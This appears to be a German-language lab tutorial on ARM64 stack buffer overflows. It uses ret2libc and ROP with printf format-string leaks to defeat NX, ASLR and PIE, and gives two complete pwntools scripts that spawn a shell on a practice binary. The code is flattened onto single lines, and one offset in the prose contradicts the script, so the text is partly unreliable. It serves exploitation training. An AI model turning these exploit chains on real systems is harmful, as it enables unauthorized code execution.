Erstellen eines Musters mit pattern create 200, Verwendung davon und Überprüfung des Offsets mit pattern search $x30, wir können sehen, dass das Offset 108 (0x6c) beträgt.
Beim Betrachten der disassemblierten Hauptfunktion sehen wir, dass wir zum Befehl springen möchten, der direkt zu printf springt, dessen Offset vom Laden der Binärdatei aus 0x860 beträgt:
Find system and /bin/sh string
Da ASLR deaktiviert ist, bleiben die Adressen immer gleich:
Find Gadgets
Wir müssen die Adresse des Strings /bin/sh in x0 haben und system aufrufen.
Unter Verwendung von rooper wurde ein interessantes Gadget gefunden:
Dieses Gadget lädt x0 von $sp + 0x18 und dann die Adressen x29 und x30 von sp und springt zu x30. Mit diesem Gadget können wir das erste Argument steuern und dann zu system springen.
Ausnutzen
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - NX, ASLR & PIE Umgehung mit printf-Leaks vom Stack
Ausnutzung von BoF, um zum Hauptprogramm zurückzukehren
Runde 2:
Leak von libc vom Stack
ROP: ret2system
Printf-Leaks
Durch Setzen eines Haltepunkts vor dem Aufruf von printf ist es möglich zu sehen, dass es Adressen zum Zurückkehren zum Binärprogramm im Stack gibt und auch libc-Adressen:
Durch Ausprobieren verschiedener Offset kann %21$p eine Binäradresse leaken (PIE-Umgehung) und %25$p kann eine libc-Adresse leaken:
Durch Subtrahieren der geleakten libc-Adresse von der Basisadresse von libc ist es möglich zu sehen, dass der Offset der geleakten Adresse von der Basis 0x49c40 beträgt.
x30 Offset
Siehe das vorherige Beispiel, da der BoF derselbe ist.
Finden von Gadgets
Wie im vorherigen Beispiel müssen wir in x0 die Adresse des Strings /bin/sh haben und system aufrufen.
Unter Verwendung von rooper wurde ein weiterer interessanter Gadget gefunden:
Dieses Gadget lädt x0 von $sp + 0x78 und dann die Adressen x29 und x30 von sp und springt zu x30. Mit diesem Gadget können wir das erste Argument steuern und dann zu system springen.
Ausnutzen
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()